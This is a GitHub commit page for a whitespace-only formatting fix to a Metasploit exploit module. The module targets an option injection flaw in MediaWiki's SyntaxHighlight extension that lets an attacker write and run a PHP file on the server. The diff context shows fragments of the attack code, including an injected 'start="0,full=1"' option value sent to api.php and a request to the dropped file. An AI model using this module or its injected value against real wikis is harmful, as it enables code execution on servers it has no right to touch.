Skip to content

Commit f9e7715

Browse files
authored
Fixed formatting
1 parent 1569d2c commit f9e7715

File tree

1 file changed

+7
-7
lines changed

1 file changed

+7
-7
lines changed

modules/exploits/multi/http/mediawiki_syntaxhighlight.rb

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@ def initialize(info = {})
1111
super(update_info(info,
1212
'Name' => 'MediaWiki SyntaxHighlight extension option injection vulnerability',
1313
'Description' => %q{
14-
This module exploits an option injection vulnerability in the SyntaxHighlight
14+
This module exploits an option injection vulnerability in the SyntaxHighlight
1515
extension of MediaWiki. It tries to create & execute a PHP file in the document root.
1616
The USERNAME & PASSWORD options are only needed if the Wiki is configured as private.
1717
},
@@ -43,7 +43,7 @@ def initialize(info = {})
4343
OptBool.new('CLEANUP', [ false, "Delete created PHP file?", true ])
4444
])
4545
end
46-
46+
4747
def check
4848
res = send_request_cgi({
4949
'method' => 'POST',
@@ -56,7 +56,7 @@ def check
5656
'text' => '<syntaxhighlight lang="java" start="0,full=1"></syntaxhighlight>'
5757
}
5858
})
59-
59+
6060
if(res && res.headers.key?('MediaWiki-API-Error'))
6161
if(res.headers['MediaWiki-API-Error'] == 'internal_api_error_MWException')
6262
return Exploit::CheckCode::Appears
@@ -68,7 +68,7 @@ def check
6868

6969
Exploit::CheckCode::Safe
7070
end
71-
71+
7272
# use deprecated interface
7373
def login
7474
print_status("Trying to login....")
@@ -124,7 +124,7 @@ def exploit
124124
if datastore['USERNAME'] && datastore['USERNAME'].length > 0
125125
login
126126
end
127-
127+
128128
check_code = check
129129
unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
130130
fail_with(Failure::NoTarget, "#{peer}")
@@ -137,7 +137,7 @@ def exploit
137137
cleanup = ""
138138
end
139139
print_status("Local PHP file: #{cssfile}")
140-
140+
141141
res = send_request_cgi({
142142
'method' => 'POST',
143143
'uri' => normalize_uri(target_uri.path, 'api.php'),
@@ -154,4 +154,4 @@ def exploit
154154
send_request_cgi({'uri' => normalize_uri(target_uri.path, cssfile)})
155155
end
156156
end
157-
end
157+
end

0 commit comments

Comments
 (0)